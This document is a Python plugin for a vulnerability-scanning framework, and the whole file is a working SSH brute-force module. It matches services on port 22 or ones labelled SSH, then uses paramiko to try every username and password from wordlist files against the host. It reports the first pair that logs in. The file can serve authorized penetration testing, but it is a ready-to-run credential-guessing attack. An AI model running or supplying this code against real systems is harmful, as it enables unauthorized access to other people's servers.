from __future__ import with_statement
from lib.classloader import register
from lib.pocbase import  pocbase


success = True;
try:
    import paramiko
except:
    success = False;




class testpoc(pocbase):
    
    def __init__(self):        
        super(pocbase, self).__init__();
    
    def _match(self, infodict):
        port = infodict["port"];
        service_type = infodict["service_type"] if infodict.get("service_type") else "";
        version = infodict["service_version"] if infodict.get("service_version") else "";
        
        return int(port) == 22 or version.lower().find("ssh") != -1 or service_type.lower().find("ssh") != -1;

    def _verify(self, infodict):
        host = infodict["ip"];
        port = infodict["port"];
        result = infodict;
        ssh = paramiko.SSHClient();
        ssh . set_missing_host_key_policy ( paramiko . AutoAddPolicy ( ) )
        result["success"] = False;
        isbreak = False;
        with open("data/ssh-username.txt") as username:
            with open("data/ssh-password.txt") as password:
                usernames = username.readlines()
                passwords = password.readlines();
                for u in usernames:
                    if isbreak:
                        break;
                    for p in passwords:
                        u = u.strip()
                        p = p.strip();
                        u = u.replace("\r", "")
                        u = u.replace("\n", "")
                        p = p.replace("\r", "")
                        p = p.replace("\n", "")
                        try:
                            ssh.connect(hostname=host,port=port, username=u, password=p, timeout=10);
                            result["success"] = True;
                            result["extra"] = "username:password=%s:%s"%(u, p)
                            isbreak = True;
                            break;
                        except:
                            pass
        return result;

if success:
    register(__file__, testpoc)
else:
    from  lib.log import logToScreen
    logToScreen("critical" ,"to use ssh brute install paramiko from https://pypi.python.org/pypi/paramiko/2.0.2");
